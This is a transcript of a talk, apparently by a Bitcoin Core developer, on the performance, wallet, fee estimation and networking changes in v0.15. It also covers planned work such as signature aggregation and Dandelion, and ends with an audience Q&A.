fail. So this process didn't turn up any bugs in the new database, hooray, but it did turn up a pre-existing non-exploitable crash bug and some short-comings in the tests where some tests thought they were testing one aspect but it turns out they were testing nothing. And that's a thing that happens, because often people don't test the tests. You can think of mutation testing, in your mind, as normally the tests is the test of the software, but what's the test of the test? Well, the software is the test of the test, you just have to break the software to see the results.

https://www.youtube.com/watch?v=nSRoEeqYtJA&t=13m40s

A feature related to the new chainstate database which we also did shortly after is non-atomic flushing. This database cache in bitcoin software is really more of a buffer than a cache. The thing it does that improves performance isn't that it saves you from having to read things off disk-- reading things off-disk is relatively fast. But what it does is that it prevents things from being written to disk such as when someone makes a transaction and then two blocks later they spend the output of that transaction, with a buffer you can avoid ever taking that data and writing it to the database. So that's where almost all of the performance improvement from 'caching' really comes from in bitcoin. It's this buffer operation. So that's great. And it works pretty well.

One of the problems with it is that in order to make the system robust to crashes, the state on the disk always has to be consistent with a particular block so that if you were to yank the power out of your machine and your cache is gone, since it was just in memory, you want the node to be able to come up and continue validation from a particular block instead of having partial data on disk. It doesn't have to be the latest block, it just has to be some exact block. So the way that this was built in Bitcoin Core was that whenever the cache would fill up, we would force-flush all the dirty entries to disk all at once, and then we could be sure that it was consistent with that point in time. In order to do that, we would use a database transaction, and the database transaction required creating another full copy of the data that was going to be flushed. So this extra operation meant that basically we lost half of the memory that we could tolerate in our cache with this really short 100 ms long memory peak, so we had to in older versions like v0.14 if you configure a database cache of say a gigabyte, then we really use 500 MB for cache and then 500 MB is left unused to handle this little peak that occurs during flushing. We're also doing some work with smarter cache management strategies, where we incrementally flush things, but they interact poorly with the whole "flush at once" concept.

But we realized that the blockchain itself is actually a write-ahead log. It's the exact thing you need for a database to not have to worry about what order your writes were given to the disk. With this in mind, our UTXO database doesn't actually need to be consistent. What we can do instead is that we store in the database the earliest point at which writes could have occurred, such as the earliest blockheight for which there were writes in flight, and the latest, and then on startup we simply go through the blockchain on disk and re-apply all of the changes. Now, this was much harder when the database could have entries that were modified, but after changing to the per-TXO model, every entry is either inserted or deleted. Inserting a record twice just does nothing, and deleting a record twice also does nothing. So the software to do this is quite simple, it starts up, sees where it could have had writes in flight, and then follows them all out.

So this really simplifies a lot of things. It also gives us more flexibility on how we manage that database in the future. So it would be much easier to switch to a custom data structure or do other fancy things with it. It also allows us to do fancier cache management and lower latency flushing in the future, like we could in the future incrementally flush every block to avoid the latency spikes from doing a full flush all at once. Something we've experimented with, we just haven't proposed it yet. But it's now easy to do with this change. It also means that we--- we've benchmared all the trendy database things that you might use in place of leveldb in this system, and so far we've not found anything that performs significantly better, but if in the future we found something that performs significantly better, we wouldn't have to worry about supporting transactions anymore.

Also in v0.15, we did a bit of platform-specific acceleration work. And this is stuff that we knew we could do for a long time, but it didn't rise to the top of the performance priority list. So, we now use SSE4 assembly implementation of sha256. And that results in a 5% speedup of initial block download, and a similar speedup for connecting a new block at the tip, maybe more like 10% there.

In v0.15, it's not enabled in the build by default because we introduced this just a couple of days before the feature freeze and then spent 3 days trying to figure out why it was crashing on macosx, and it turns out that the macosx linker was optimizing out the entire chunk of assembly code, because of an error we made in the capitalization of the label. So... this took like 3 days to fix, and we didn't feel like merging it in and then having v0.15 release delayed by potentially us finding out later that it doesn't work on openbsd or something obscure or some old osx. But it will be enabled in the next releases.

We also implemented support for the sha-native instruction support. This is a new instruction set to do sha hardware acceleration that Intel has announced. They announced it but they really haven't put it into many of their products, it's supported in like one Atom CPU. The new AMD rizon stuff contains this instruction, though, and the use of it gives another 10% speedup in initial block download for those AMD systems.

We also made the backend database which uses CRC32 to detect errors in the database files, we made that use the SSE4 instruction too.

Another one of the big performance improvements in v0.15 was this script validation caching. So bitcoin has had since v0.7, a cache that basically memorizes every public key message signature tuple and will allow you to validate those much faster if they were in the cache. This change was actually the last change to the bitcoin software by Satoshi, he had written the patch and sent it to Gavin and it just sat languishing in his mailbox for about a year and there's some DoS attacks that can be solved by having a cache. The DoS attack is basically where you have a transaction with 10,000 valid signatures in it, and then the 10,001 first signature in the transaction is invalid, and you will spend all this time validating each of the signatures, to get down to the last one and find out that it's invalid, and then the peer disconnects and sends you the same transaction but with one different invalid signature at the bottom and do it again... So the signature cache was introduced to fix that, but it also makes validation off the tip much faster. But even though that's in place, all it's caching is the elliptic curve operations, it's not caching the validation of the scripts total. And this is a big deal for signature hashing. For transactions to be signed, you have to hash the transaction to determine what it's signing, and for large non-segwit transactions, that can take a long time.

One question that has arised since 2012 was well why not use the fact that the transaction is in the mempool as a proxy for whether it's valid. If it's in your mempool, then it's already valid, you already validated, go ahead and accept it. Well the problem wit hthis is that the rules for a transaction going into a mempool are not the same as the rules for a transaction into a block. They are supposed to be a subset, but it's easy for software errors to turn it into a superset. There have been bugs in the mempool handling in the past that have resulted in invalid transactions appearing in the mempool. Because of how the rest of the software is structured, that error is completely harmless except wasting a little memory. But if you were using the mempool for validation, then having an invalid transaction in the mempool would immediately become a consensus splitting (network partition) bug. Using the mempool would massively increase the portion of the codebase that is consensus-critical, and nobody working on this project is really interested in using the mempool for doing that.

So what we've introduced in v0.15 is a separate cache for script validation caching. It maintains a cache where the keys are the txid and the validation flag for which rules are applicable for that tx, it caches that, and all the validity rules other than sequence number and blocktime are a pure function of the hash of the transaction, then that's all it has to cache. For segwit that's wtxid, not just txid. So the presence of this cache creates a 50% speedup of accepting blocks at the tip, so when a new block comes into a node.

There's a ton of other speedups in v0.15. A couple that I wanted to highlight are on this slide. DisconnectTip which is the operation central to reorgs, so to unplug a block from the chain and undo it, that was made much faster, something on the order of 10s of times faster, especially if you are doing a reorg of many blocks, mostly by deferring mempool processing. Previously, you would disconnect the block, take all the transactions out, put it in your mempool, disconnect another block and put the transactions into the mempool, and so on, and we changed this so that it does all of this in a batch instead. We disconnect the block, throw the transactions into a buffer, leave the mempool alone until you're done.

We added a cache for compact block messages. So when you're relaying compact block messages to different peers, we hash the constructed message rather than reconstructing it for each peer.

The key generation in the wallet was made on the order of 20x faster by not flushing the database between every key that it inserted.

And there were some minor little secp2561 speedups on the order of 1%. But 1% is worth mentioning here because 1% speedups in the underlying crypto library are very hard to find. 1% speedup is at least weeks of work.

In result, here is an initial block download (IBD) chart. The top bar is v0.14.2, and the bottom bar is v0.15 rc3. And this is showing number of seconds for initial sync across the network. In this configuration, I've set the dbcache size to effectively infinite, like 60 gigs. So the dbcache never fills on both of these hosts I was testing on. The reason why I tested with a dbcache size of infinite is that two reasons-- one is that if you have decent hardware, then that's the configuration you want to run while syncing anyway, and my second reason was that because with normal size dbcache which was sized to fit on a host with 1 GB of RAM, the benchmarks were taking so long that it wasn't ready in time for my presentation tonight, and they will finish sometime around tonight. The two segments in the bars are showing how long it took to sync to a period of about 2 weeks ago, the outer point, and the inner part is how long it takes to sync to the point where v0.14 was released. And so what you can see in the lower bar, it's considerbaly faster, almost a 50% speedup there. It's actually taking about the same amount of time as v0.14 as v0.14 took to sync, so all of these speedups basically got us back to where we were at the beginning of the year in terms of aggregate total size just due to the underlying blockchain growth. And these numbers are in seconds, that's probably not clear, but the shorter bar runs out to 3 hours, and that's on a machine with 64 GB RAM and 24 cores.

https://www.youtube.com/watch?v=nSRoEeqYtJA&t=25m50s

Out of the realm of performance for a while.... In v0.15, and as a long-requested feature that people have been asking about since 2011 is multiwallet support. Right now it's a CLI and RPC-only feature. This allows the Bitcoin Core wallet to have multiple wallets loaded at once. It's not released in the GUI yet, it will be in the next release. It's easier to test in the CLI first and most of the developers are using CLI. You configure with a wallet conf argument for which wallet you want, and you tell the CLI which wallet you want to talk with, or if you're using RPC then you change the URL to have the wallet slash the name of the wallet you want to use. This is very useful if you have a pruned node and you want to keep many wallets in sync and not have to rescan them, because you can't rescan them on a pruned node.

For the moment, this should be considered somewhat experimental. The main delay with finally getting this in into v0.15 was debate over the interface and we weren't sure what interface we should be providing on it. In the release notes, we explicitly mention that the interface is not stable and we didn't want to delay on this. We've been working on this since v0.12, doing the backend restructuring, and in v0.15 was just the UI component.

https://www.youtube.com/watch?v=nSRoEeqYtJA&t=27m30s

v0.15 features greatly improved fee estimation software. It tracks the... it starts with the original model we had in v0.14, but it tracks estimates on multiple time horizons, so that it can be more responsive to fast changes. It supports two estimation modes, conservative and economical. The economical mode responds much faster. The conservative just says whta's the fee that basically guarantees the transaction will be confirmed based on history. And the economical is "eh whatever's most likely". For bip125 replaceable transactions, if you underpay on it, it's fixable, but if your transaction is not replaceable then we default to using the conservative estimator.

We also made the fee estimator machinery output more data, which will help us improve it in the future, but it's also being used by external estimators where other people have built fee estimation frameworks that use Bitcoin Core's estimator as its input. And this new fee estimator can produce fee estimates for much longer ranges of time, it can estimate for up to 1008 blocks back, so a week back in time, so you can say that you don't care if it takes a long time to confirm then it can still produce useful estimates for that. Also it has fixed some corner cases where estimates were just nuts before.

The fundamental behavior hasn't changed, so the fee estimator in bitcoin has this difficult challenge that it needs to safely operate unsupervised, which is that someone could be attacking your node and the fee estimator should not give a result where you pay a high fees just because someone is attacking you. And we need to assume that the user doesn't know what high fees are... so this takes away from some of the obvious things we might do to make the fee estimator better. For example, the current fee estimator does not look at the current queue of transactions in the mempool that are ready to go into a block. It doesn't bid against the mempool, and the reason why it doesn't do this is because someone could send transactions that they know the miners are censoring, and they could pay very high fees on those transactions and cause you to outbid those transactions that will never get confirmed.

There are many ways that this could be improved in the future, such as using the mempool information but only to lower the fees that you pay. But that isn't done yet. Onwards and upwards.

Separate from fee estimation, there are a number of fixes in the wallet related to fee handling. One of the big ones that I think a lot of people care about is that in the GUI there is support for turning on replaceability for transactions. You can make a transaction, and if you didn't add enough fee and you regret it then you can now hit a button to increase the fee on the bip125 replaceable transaction. This was in the prior release as an RPC-only feature, it's now available in the GUI. With segwit coming into play, this feature will get much more powerful. There are really cool bumpfee things that you can't do without segwit.

There were some corner cases where the automatic coin selection could result in fee overpayment ((possibly wrong link)). Basically the bitcoin wallet whenever you make a transaction, it has to solve a pretty complicated problem where it has to figure out which of the coins to spend and then how much fee to pay. It doesn't know how much fee it wants to spend until it knows which coins it wants to spend, and it doesn't know which coins it wants to spend unless it knows the total amount of the transaction. So there's an interative algorithm that tries to solve this problem. There could be, in some wallets, with lots of tiny inputs, cases where the wallet would in the first pass select a lot of tiny coins for spending and then it goes oh we don't have enough fees for all these coins so I need to select some more value-- and it would go and select some more, but it's not monotone, and it might go spend some 50 BTC input, and my fees are still high because that's where I ended up in the last iteration and it would give up, and it would potentially overpay fees in that case. If your transaction had a change output, then it would pay those extra fees to change, but in the case where there wasn't a change output, it would overpay, and v0.15 fixes this case.

v0.15 also makes the wallet smarter about not producing change outputs when they wouldn't really be useful. So, it doesn't make sense to make a change output for only 1 satoshi because the cost of spending that change is going to be greater than the cost of creating it. The wallet for a long time has avoided creaitng low value ones. It now has a better rational framework for this, and there's now a configuration option called discardfee where you can make it more or less aggressive. But basically it has, it looks at the long term fee estimations to figure out what kind of output value is going to be completely worthless in the future, and it avoids creating smaller ones.

In v0.13, Bitcoin Core introduced hdwallet support. This is being able to create a wallet once and deterministically generate all of its future keys so that you have less need to back up the wallet, so that if you fail to regularly backup your wallet you would be less likely to lose your funds. The rescan support in prior versions was effectively broken... you could take a backed-up hdwallet, put it on a new node, and it wouldn't notice when all of the keys that had been pre-generated had been spent and fill up the keypool... So this made recovery not reliable. This is fixed in v0.15, where it now does a correct rescan including auto top-up, we also increased the size of the default keypool to 1000 keys so that it looks ahead. Whenever it sees a spend in its wallet for a key, it will advance to a thousand keys past that point.

This isn't quite completely finished in v0.15 because we don't handle the case where the wallet is encrypted. If the wallet is encrypted, then you need to manually unlock the wallet and trigger a rescan, if you're restoring from a backup-- it doesn't do that, yet, but in future versions we'll make this work or do something else.

And finally, and htis was an oft-requested feature, there is now an abortrescan RPC command, because rescan takes hours, and their node is useless for a while, so there's a command to stop rescan.

https://www.youtube.com/watch?v=nSRoEeqYtJA&t=34m18s

More of the backend minutia of the system... we've been working on improving the random number generator, this is part of a long-term effort to completely eliminate any use of openssl in the bitcoin software. Right now all that remains of openssl use in the software is the random number generator and bitcoin-qt has bitcoin payment protocol support which uses https which uses QT which uses openssl.

Most of the random number use in the software package has been replaced with using chacha20stream ciphers, including all the cases where we weren't using a cryptographic random number generator, like unix rand-style random number generators that needed to be somewhat random but not secure, but those all use cryptographic RNG now because it was hardly any slower to do so.

One of the things that we're concerned about in this design is that there have been, in recent years, issues with operating systems RNGs-- both freebsd and netbsd have shipped versions where the kernel gave numbers that were not random. And also, on systems running inside of virtual machines, there are issues where you store a snapshot of the VM and then restore it and then the system regenerates the same "random" numbers that it generated before, which can be problematic.

That was a version for a famous bug in 2013 that caused bitcoinj to... so..

We prefer a really conservative design. Right now what we're doing in v0.15 is that any of the long-term keys are generated by using the OS random number generator, the openssl random number generator, and a state that we ... through... And in the future we will replace the openssl component with a separate initializer.

Q: What are you using for entropy source?

A: The entropy on that is whatever openssl does, /dev/urandom, rdrand, and then state that is queried through repeated runs of this algorithm.

I want to talk about this disconnecting service bits feature. It's sort of a minutia that I wouldn't normally mention, so now it's interesting to talk about because I think there's a lot of misunderstanding. A little bit of background first. Bitcoin's partition resistance is really driven by many different heuristics to try to make sure that a node is not isolated from the network. If a node is isolated from the network because of the blockchain proof-of-work, you're relatively safe but you're still denied service. Consequently, the way that bitcoin does this is that we're very greedy about keeping connections that we previously found to be useful, such as ones that relayed us transactions, blocks and have high uptime. The idea is that if there's an attacker that tries to saturate all the connections on the network, he'll have a hard time doing it because his connections came later, and everyone else is preferring good working connections. The downside of this is that the network can't handle sudden topology changes. You can't go from everyone connected to everyone, and then we're all going to disconnect from everyone and connect to different people, you can't do that, because you blow away all of that management state, and you can end up in situations where nodes are stuck and unable to connect to other nodes for long periods of time because you have lost all of their connections.

When we created segwit, which itself required a network topology change, the way we handled this is by front-loading the topology change to be more safe aobut it. So when you installed v0.13.1, your node made its new connections differently than prior nodes. It preferred to connect to other segwit-capable peers. And our rationale for doing that was that if something went wrong, if there weren't enough segwit-capable peers, if you know this caused you to take a long time to get connected, then that's fine because you just installed an upgrade and perhaps you weren't expecting things to go perfectly. But it also means that it doesn't happen to the whole network all at once, because people applied that upgrade over the course of months. So you didn't go from being connected one second to some totally different topology immediately, it was a very gradual change and avoided thundering hurds of nodes attempting to connect to the few segwit-capable peers at first. So that's what we did for segwit, and it worked really well.

Recently... there was a spin-off of Bitcoin, the Bitcoin Cash altcoin, which for complex political insanity reasons used the bitcoin peer-to-peer port and the bitcoin p2p magic and was basically indistinguishable on the bitcoin network from a bitcoin node. And so, what that meant was that the bcash nodes would end up connected to bitcoin nodes, and bitcoin nodes likewise, sort of half-talking to each other and wasting each other's connection slots. Don't cross the streams. This didn't really cause much damage for bitcoin because there weren't that many bcash connections at the time, but it did cause significant damage to bcash and in fact it still does to this day because if you try to bring up a bcash node it will sync up to the point where they diverged, and it will often sit for 6-12 hours to connect to another bcash node and learn about its blocks. In bcash's case, it was pretty likely to get disconnected because the bcash transactions are consensus-invalid under the bitcoin rules. So it would trigger banning, just not super fast.

There is another proposed spin-off called segwit2x, which is not related to the segwit project. And the S2X has the same problem but much worse. It's even harder for it to get automatically banned, because it doesn't have strong replay protection. And so it will take longer for nodes to realize that they are isolated. There's a risk here that their new consensus rules could activate for their nodes and you could have a node that was connected to only s2x peers, your node isn't going to accept their blockchain because it's consensus-incompatible, but they're not going to accept anything from you and likewise, and you could be isolated for potentially hours, and if you're a miner then you could be in this situation for hours and it would create a big amount of mess. So v0.15 will disconnect any peer which is setting service bits 6 and 8, which is s2x and bcash which are setting those service bits. It will continue to do this until 2018-08-01. So whenever nodes are detected that are setting these bits, it just immediately disconnects them. This reduces these otherwise honest users inadvertedly DoS attacking each other.

The developer of S2X showed up and complained about premature partitioning pointing out that how it only really needs to do this at the moment their new rules activate. But as I have just explained, the network can't really handle the sudden topology change all at once. And, we really think that this concern about partitioning is basically unjustified because S2X nodes will still happily connect to each other and to older versions. We know from prior upgrades that people are still happily running v0.12, v0.10 nodes out on the network. It would take years for S2X nodes to find nothing for them to connect to... but their consensus nodes will change in 2 months after the v0.15 release. So the only risk to them is if the entire bitcoin network upgrades to v0.15 within 2 months, which is just not going to happen. And if it does happen, then people will setup nodes for compatibility. Since there was some noise created about that, I wanted to talk about it.

OK, time for a drink. Just water. ((laughter))

https://www.youtube.com/watch?v=nSRoEeqYtJA&t=42m25s

There's lots of really cool things going on. And often in the bitcoin space people are looking for the bitcoin developers to set a roadmap for what's going to happen. But the bitcoin project is an open collaboration, and it's hard to do anything that's like a roadmap.

I have a quote from Andrew Morton about the Linux kernel developers, which I'd like to read, where he says: "Instead of a roadmap, there are technical guidelines. Instead of a central resource allocation, there are persons and companies who all have a stake in the further development of the Linux kernel, quite independently from one another: People like Linus Torvalds and I don’t plan the kernel evolution. We don’t sit there and think up the roadmap for the next two years, then assign resources to the various new features. That's because we don’t have any resources. The resources are all owned by the various corporations who use and contribute to Linux, as well as by the various independent contributors out there. It's those people who own the resources who decide."

It's the same kind of thing that also applies to bitcoin. What's going to happen in bitcoin development? The real answer to that is another question: what are you going to make happen in bitcoin development? Every person involved has a stake in making it better and contributing. Nobody can really tell you what's going to happen for sure. But I can certainly talk about what I know people are working on and what I know other people are working on, which might seem like a great magic trick of prediction but it's really not I promise.

https://www.youtube.com/watch?v=nSRoEeqYtJA&t=43m45s

So the obvious one is getting segwit fully supported in the wallet. In prior versions of bitcoin, we had segwit support but it's really intended for testing, it's not exposed in the GUI. All the tests use it, it works fine, but it's not a user-friendly feature. There's a good reason why we didn't go and put it in the GUI in advance, and that's people might have used segwit before its rules were enforced and they would have had their funds potentially stolen. Also just in terms of allocating their own resources, we thought it was more important to make the system more reliable and faster, and we didn't know when segwit would activate.

In any case, we're planning on doing a short release right after v0.15.0 with full support for segwit including things like sending to bip173 (bech32) addresses which Pieter Wuille presented here a few months back. Amusingly, this might indirectly help with the bcash spin-off for example where it uses the same addresses as bitcoin and people have already lost considerable amounts of money by sending things to the wrong addresses. So introducing a new address type into bitcoin will indirectly help this situation, unfortunately there's really nothing to prevent people from copying bitcoin address format in a reasonable way.

There are other wallet improvements that people are working on. I had mentioned previously this evening about this fee bumping capability. There's an idea for fee bumping which is that the wallet should keep track of all the things you're currently trying to pay, and whenever you make a new payment, it should recompute the transactions for the things you're trying to pay, to update them and potentially increase the fees at the time. It could also concurrently create timelocked alternative versions of the transactions that pay higher fees, so that you can pre-sign them and have them ready to go... So we went to go design this out a few months back, and we found that there were cases caused by transaction malleability that were hard to solve, but now with segwit activated, we should be able to support this kind of advanced fee bumping in the wallet, and that should be pretty cool.

There is support being worked on for hardware wallets and easy off-line signing. You can do offline signing with Bitcoin Core today but it's the sort of thing that I even I don't love. It's complicated. Andrew Chow has a bip proposal recently posted to the mailing list for partially signed bitcoin transactions (see also hardware wallet standardization things), it's a format that can carry all the data that an offline wallet needs for signing, including hardware wallets. The deployment of this into Bitcoin Core is much easier for us to do safely and efficiently with segwit in place.

Another thing that people are working on is branch-and-bound coin selection to produce changeless outputs much of the time. So this is Murch's design which Andrew Chow has been working on implementing. There's a pull request barely missed going into v0.15 but the end result of this will be transactions less expensive for users and making the network more efficient because it's creating change outputs much less often.

Obviously I mentioned the multiwallet feature before... it's going to get supported in the GUI.

There are several pull requests in flight for full-block lite mode, where you run a bitcoin node download the full blocks so that you have full privacy but don't do full validation for the past history so that you have instant start.

There's some work on hashed timelock contracts (HTLCs) so that you can do more interesting things with smart contracts. Checksequenceverify (bip112) transactions which can be used for various security measures like cosigners that expire after a certain amount of time. And there's some interesting work going on for separating the Bitcoin Core GUI from the backend process, and there are patches that do this, but I don't know if those patches will be the ones that end up getting merged but that work is making progress right now.

There are interesting things going on with network and consensus. One is a proposal for rolling UTXO set hashes (PR #10434). This is a design basically compute a hash of the UTXO set that is very efficient to incrementally update every block so that you don't need to go through the entire UTXO set to compute a new hash. This can make it easier to validate that a node isn't corrupted. But it also opens up new potentials for syncing a new node-- where you say you don't want to validate history from before a year ago, and you want to sync up to a state where up to that point and then continue on further. That's a security trade-off, but we think we have ways of making that more realistic. We have some interesting design questions open-- there are two competing approaches and they have different performance tradeoffs, like different performance in different cases.

We've been doing work on signature aggregation. You can google for my bitcointalk post on signature aggregation. The idea is that basically if you have a transaction with many inputs, maybe it's multsig or with many participants, it's possible with some elliptic curve math to have just a single signature covering all of those inputs even if they are keys held by related but separate parties. This can be a significant bandwidth improvement for the system. Pieter Wuille and Andrew Poelstra and myself presented a paper at Financial Crypto 2017 about what we're proposing to implement here and the risks and tricky math problems that have to be solved. One of the reviewers of our paper found an even earlier paper than ours that we completely missed, which implemented something that was almost identical to what we were doing, and it had even better security proofs than what we had, so we switched to that approach. We have an implementation of the backend and we're playing around now with performance optimizations because they have some implications with regards to how the interface looks for bitcoin. One of the cool things that we also get out of this at the same time is what's called batch aggregation where you can take multiple independent transactions and validate their signatures more efficiently in batch than you could by validating them one at a time.

The byte savings from using signature aggregation-- we ran through simulation of the prior bitcoin history and said, if the prior bitcoin history had used signature aggregation, how much smaller would the blockchain be? Well, the amount of savings changes over time because the aggregation gains change depending on how much multisig you're doing and how many inputs transactions on. Early on in bitcoin, it would have saved hardly nothing. But later on, it stabilized out at around 20%, and it would go up if more multisig was in use or if more coinjoins were in use because this aggregation process incentivizes coinjoin on making the fees lower for the aggregate.

When this is combined with segwit, if everyone is using it, is about 20%. So it's a little less than the byte savings because of the segwit weight calculations. Now, what this scheme does is that it reduces the size of the signature to just one signature per transaction but the amount of computation done to verify it is still proportional to the number of public keys going into it, but we're able to use the batching operation to combine them together and make it go much faster. This chart shows the different schemes we've been experimenting with. It gets faster as more keys are involved. At the 1,000 keys level, so if you're making a transaction with a lot of inputs or a lot of multisig or batch validation, then we're at the point where we can get a 5x speedup over the single signature time validation. So it's a pretty good speedup. And this has been mostly work that Pieter Wuille, Andrew Poelstra and Jonas Nick have been focusing on, trying to get all the performance out of this that we can.

Other things going on with the network and consensus... There's bip150 and bip151 (see the bip151 talk) for encrypted and optionally authenticated p2p. I think the bips are half-way done. Jonas Schnelli will be talking about these in more detail next week. We've been waiting on network refactors before implementing this into Bitcoin Core. So this should be work that comes through pretty quickly.

There's been work ongoing regarding private transaction announcement (the Dandelion paper and proposed dandelion BIP). Right now in the bitcoin network, there are people who connect to nodes all over the network and try to monitor where transactions are originating in an attempt to deanonymize people. There are countermeasures against this in the bitcoin protocol, but they are not especially strong. There is a recent paper proposing a technique called Dandelion which makes it much stronger. The authors have been working on an implementation and I've sort of been guiding them on that-- either they will finish their implementation or I'll reimplement it-- and we'll get this in relatively soon probably in the v0.16 timeframe. It requires a slight extension to the p2p protocol where you tell a peer that you would like it to relay a transaction but only to one peer. The idea is that transactions are relayed in a line through the network, just one node to one node to one node and then after basically after a random timeout they hit a spot where they expand to everything and they curve through the network and then explodes everywhere. Their paper makes a very good argument for the improvements in privacy of this technique. Obviously, if you want privacy then you should be running Bitcoin Core over tor. Still, I think this is a good technique to implement as well.

Q: Is the dandelion approach going to effect how fast your transactions might get into a block? If I'm not rushed...?

A: The dandelion approach can be tuned. Even with relatively modest delays, when used in an anonymous manner, it should only increase the time it takes for your transaction to get into a block by the time it takes for the transaction to reach the whole network. This is only on the order of 100s of milliseconds. It's not a big delay. You can choose to not use it, if you want.

Q: ....

A: Right. So, the original dandelion paper is actually not robust. If a peer drops the transaction being forwarded and doesn't forward it on further, then your transaction will disappear. That was my response to the author and they were working on a more robust version with a timeout. Every node along the stem that has seen the transaction using dandelion, starts a timer and the timer is timed to be longer than the propagation time of the network. If they don't see the transaction go into the burst mode, then they go into burst mode on their own.

Q: ....

A: Yeah. I know, it's not that surprising.

Q: What if you send it to a v0.15 node, wouldn't that invalidate that approach completely?

A: No, with dandelion there will be a service bit assigned to it. You'll know which peers are compatible. When you send a transaction with dandelion, it will traverse only through a graph of nodes that are capable of it. When this is ready, I am sure there will be another talk on this, maybe by the authors of the paper.

Q: It's also really, it's a great question, for applications.. trust.

A: Yes, it could perhaps be used by botnets, but so could bitcoin transactions anyway.

Work has started on something called "peer interrogation" to basically more rapidly kickoff peers that are on different consensus rules. If I have received an invalid block on one peer, then I can go to all my other peers and say hey do you have this block. Anyone else that says yes that you consider it invalid then you can disconnect them because obviously they are on different consensus rules than you. There are a number of techniques we've come up with that should be able to make the network a little more robust from crazy altcoins running on the same freaking p2p port. It's mostly robust against this because we also have to tolerate attackers who aren't you know going to be nice. But it would be nice if these altcoins could distinguish themselves from outright malicious behavior. It's unfortunate when otherewise honest users use software that makes them inadvertedly attack other nodes.

There's been ongoing work on improved block fetch robustness. So right now the way that fetching works is that assuming you're not using compact blocks high-bandwidth opportunistic send where peers send blocks even without you asking for it, you will only ask for blocks from a single peer at a time. So if I say give me a block, and he falls asleep and doesn't send it, I will wait for a long multi-minute timeout before I try to get the block from someone else. So there's some work ongoing to have the software try to fetch a block from multiple peers at the same time, and occassionally waste time.

Another thing that I expect to come in relatively soon is ... proposal for gcs-lite-client BIP for bloom "map" for blocks. We'll implement that in Bitcoin Core as well.

All of the things that I have just talked about are things where I've seen code for it and I think they are going to happen. Going a little further out to where I haven't seen code for it yet, well, segwit made it much easier to make enhancements to the script system to replace and update it. There are several people working on script system upgrades including full replacement script alterative systems that are radically more powerful. It's really cool, but it's also really hard to say when something like that could become adopted. There are also other mprovements being proposed, like being able to do merkle tree lookups inside of bitcoin script, allowing you to build massively more scalable multisig like Pieter Wuille presented on a year ago for key tree signatures.

There's some work done to use Proof-of-Work as an additional priority mechanism for connections (bip154). Right now in bitcoin there's many different ways that a peer can be preferred, such as doing good work, being connected for a long time, having low latency, etc. Our security model for peer connections is that we have lots of different ways and we hope that an attacker can't defeat all of them. We'd like to add proof-of-work as an additional way that we can compute connection slot priority.

There's been some work done on using private information retrieval for privately fetching transactions on a pruned node. So say you have a wallet started on a pruned node, you don't have the blockchain stored locally and you need to find out about your transactions. Well if you just connect to a normal server, you're going to reveal your addresses to them and that's not very private. There are cryptographic tools that allow you to query databases and look things up in them without revealing your private information. They are super inefficient. But bitcoin transactions are super small, so I think there's a good match here and you might see in the future some wallets using PIR methods to look things up.

I've been doing some work on mempool reconciliation. Right now, transactions in the mempool just get there via the flooding mechanism. If you start up a node clean it will only learn about new transactions and wont have anything in its mempool. This is not ideal because it means that when a new block shows up in the network, you won't be able to exploit the speed of compact blocks (bip152) until you have it running for a day or two and build up your mempool. We do save the mempool across restarts, but if you've been down for a while then that data is no longer useful. It's also useful to have mempool pre-loaded fast because you can use it for better.... there are techniques to efficiently reconcile databsaes between different hosts, and there's a bitcointalk post that I made about using some of these techniques for mempool reconciliation and I think we might do this in the not-too-distant future.

There has been some work on doing alternative serialization for transactions, which could be optionally used on disk or on the peer-by-peer basis to use this compact serialization and the one that Pieter Wuille has proposed gives a 25% reduction in the size of transactions. This particular feature is interesting to me outside of the context of Bitcoin Core because Blockstream has recently announced its satellite system and it could really use a 25% reduction in the amount of bandwidth required to send transactions.

Many important improvements in v0.15. I think the most important is the across-board 50% speedup which is able to get sync time back to where it was in February 2017. Hopefully it means that additional load created as people start using segwit, will be less damaging to the system. There are many exciting things being developed, and I didn't even talk about the more speculative things, which I am sure people will have questions about them. There are many new contributors joining the project and ramping up. There are several organizations now paying people. I don't know if they want attention, but I think it's great that people can contribute on a more consistent basis. Anyone is welcome to contribute, and we're particularly eager to meet people who can test the GUI and wallet because those get the least love in the system today. So, thank you, and let's move to some open questions.

https://www.youtube.com/watch?v=nSRoEeqYtJA&t=1h3m13s

First priority is for questions for the presentation, but after that, let's open it up to whatever. Also wait for the mic.

Q: For the new UTXO storage format, how many bytes is it allocating to the index for the output for it?

A: It uses a compact int for it. In fact, it's a little bit-- this format is more efficient, it's 15% larger but it might not think about a lot. leveldb will compress entries itself.

Q: What if some of the participants of the bitcoin network decided to not activate another soft-fork like schnorr signatures?

A: I mentioned the signature aggregation stuff, which would require schnorr signatures, yeah that's a soft-fork and it would have to be activated in the network. So we did have kind of a long slog to get segwit activated. (Someone tosses Greg a segwit hat)... Obviously people are going to do ... but if in the end of the day, it's all the users in the system that decide what the rules are. Especially for a backwards compatible rule like signature aggregation that we could use, well, miners are mining to make money, and certainly there are many factors involved in this but mining operations are very expensive, and if they choose not to use the rules of the bitcoin network is a miner that will soon be bankrupt. Users have the power in bitcoin. I wasn't a big fan of bip148 although I think it has been successful. I think it was way too hastily carried out. I don't anticipate problems with activating signature aggregation in the future, but that's because I trust the users to get this activated and make use of it. Thanks.

Q: A few rapid fire questions I guess. For hte new chainstate database, is the key just the transaction id and then the output index?

A: Yes that's the key. It's both.

Q: Is it desirable to ditch openssl because it's heavy weight?

A: No, openssl was not well designed. It was previously used everywhere in bitcoin and it was not designed or maintained in a way that is suitable for consensus code. They changed their signature validation method in a backwards incompatible way. For all the basic crypto operations it's better for us to have a consensus critical implementation that is consistent. As far as the RNG goes, I think nobody has read that code and still has a question about why removing it-- it's time tested yes, but it's obviously bad code and it needs to go.

Q: ...

A: Yes. The comment was made that all of openssl, the only thing that it has going for it is that it is time tested. Sure. That can't be discounted.

Q: You mentioned in fee esitmation that miners might censor transactions. Have we seen that before?

A: Well, we have seen it with soft-forks. A newly introduced soft-fork for someone who hasn't upgraded, will look like censorship of a transaction. There are some scary proposals out there, people have written entire papers on bribing miners to not insert transactions. There are plenty of good arguments out there for why we're not going to see that in the future, if mining is decentralized. But we still need to have a sytsem that is robust against it potentially happening.

Q: So the Core of this point was that it created a buffer for a register that was like in moving thing for certain number of transactions for a certain period of time, so you ept track track of the outputs..

A: The outputs are the public keys.

Q: So you keep track of those and this was the bulk of the...?

A: Of the performance improvement.

Q: 50%?

A: Yes. The blockchain is pretty big. There have been over a billion transaction outputs created. Small changes in the performance of finding outputs and deleting it, has big impacts on performance.

